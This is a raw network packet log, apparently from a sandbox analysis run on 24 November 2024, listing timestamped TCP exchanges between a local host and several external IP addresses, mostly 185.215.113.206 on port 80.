Nov 24, 2024 00:06:25.773771048 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.773778915 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.773785114 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.773821115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.773864031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.774573088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.774655104 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.775433064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.775448084 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.775484085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.775532961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.775532961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.776227951 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.776397943 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.777087927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.777096987 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.777106047 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.777138948 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.777185917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.777870893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.777928114 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.778157949 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.778234005 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.778726101 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.778733969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.778785944 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.779594898 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.779607058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.779705048 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.780420065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.780428886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.780509949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.781236887 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.781244040 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.781310081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.781994104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.782064915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.782152891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.782247066 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.782826900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.782892942 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.782968044 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.783023119 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.783674955 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.783683062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.783740997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.798289061 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.798331976 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.798477888 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.798990965 CET	49739	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.799006939 CET	443	49739	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.876017094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.876023054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.876168013 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.876221895 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.876229048 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.876322985 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.877052069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.877125025 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.877803087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.877809048 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.877821922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.877873898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.878622055 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.878700018 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.879000902 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.879142046 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.879497051 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.879555941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.879594088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.879723072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.880300045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.880311012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.880363941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.881108046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.881206989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.881659985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.881750107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.881951094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.882016897 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.882096052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.882148981 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.882734060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.882850885 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.883021116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.883141041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.883544922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.883677006 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.884068966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.884166956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.884378910 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.884679079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.884727955 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.884727955 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.885210991 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.885282993 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.885662079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.885749102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.886126995 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.886234999 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.886260033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.886507034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.886868000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.886874914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.886939049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.887861967 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.887875080 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.887928009 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.888591051 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.888665915 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.889009953 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.889106989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.889482975 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.889569998 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.889595032 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.889631033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.890173912 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.890181065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.890311956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.890989065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.891163111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.891536951 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.891733885 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.891809940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.892016888 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.892041922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.892128944 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.892704964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.892803907 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.893007994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.893114090 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.893507004 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.893691063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.893794060 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.894284010 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.894355059 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.894586086 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.894789934 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.894823074 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.894829988 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.894886971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.895647049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.895860910 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.895895004 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.895977020 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.896461964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.896472931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.896570921 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.897269011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.897316933 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.897356033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.897356033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.898117065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.898185968 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.898209095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.898260117 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.898920059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.898973942 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.899018049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.899740934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.899751902 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.899801970 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.899866104 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.899997950 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.900027037 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.900093079 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.900463104 CET	49740	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.900473118 CET	443	49740	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.942948103 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.943018913 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.943139076 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.943310976 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.943325043 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.943342924 CET	49734	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.943346977 CET	443	49734	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.945775032 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.945811033 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.945905924 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.946132898 CET	49741	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.946146011 CET	443	49741	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.959162951 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.959184885 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.959294081 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.959511042 CET	49742	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:25.959517956 CET	443	49742	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:25.981313944 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.981478930 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.981671095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.981683016 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.981722116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.981743097 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.981772900 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.981864929 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.982502937 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.982556105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.982628107 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.982707024 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.983340979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.983434916 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.983578920 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.983628988 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.983633041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.983705997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.984404087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.984468937 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.985246897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.985259056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.985271931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.985310078 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.985347033 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.986073971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.986140966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.986160994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.986244917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.986905098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.986963034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.987019062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.987082005 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.987730026 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.987741947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.987780094 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.988552094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.988584042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.988625050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.988625050 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.989346027 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.989398003 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.990228891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.990240097 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.990250111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.990283966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.990328074 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.991036892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.991122007 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.991847038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.991858959 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.991872072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.991906881 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.991951942 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.992677927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.992758036 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.993505955 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.993516922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.993527889 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.993591070 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.993591070 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.994338036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.994468927 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.994709015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.994800091 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.995129108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.995198965 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.995203972 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.995259047 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.995266914 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.995316029 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.995333910 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.995491982 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.995502949 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.995527029 CET	49735	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.995532036 CET	443	49735	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.996007919 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.996025085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.996121883 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.996783972 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.996795893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.996865034 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.996921062 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:25.997004032 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:25.997594118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.997682095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.998121023 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.998191118 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.998421907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.998498917 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.998528957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.998617887 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.998788118 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:25.998791933 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:25.998814106 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.998835087 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.998902082 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.999022007 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:25.999052048 CET	49743	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:25.999061108 CET	443	49743	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:25.999252081 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.999341011 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:25.999663115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:25.999705076 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.000953913 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:26.001043081 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:26.001048088 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:26.001229048 CET	49733	443	192.168.2.6	20.198.119.84
Nov 24, 2024 00:06:26.047332048 CET	443	49733	20.198.119.84	192.168.2.6
Nov 24, 2024 00:06:26.086483955 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.086546898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.086719990 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.086776972 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.087038040 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.087049961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.087114096 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.087124109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.087171078 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.087874889 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.087970018 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.088027000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.088088989 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.088713884 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.088726044 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.088768959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.089498997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.089557886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.090174913 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.090270042 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.090387106 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.090399027 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.090492010 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.091245890 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.091259956 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.091342926 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.092026949 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.092112064 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.092139006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.092266083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.092870951 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.092926979 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.093183041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.093235970 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.093662977 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.093674898 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.093743086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.094533920 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.094547033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.094580889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.095325947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.095377922 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:26.096159935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.096172094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.096183062 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:26.096230030 CET	49720	80	192.168.2.6	185.215.113.206
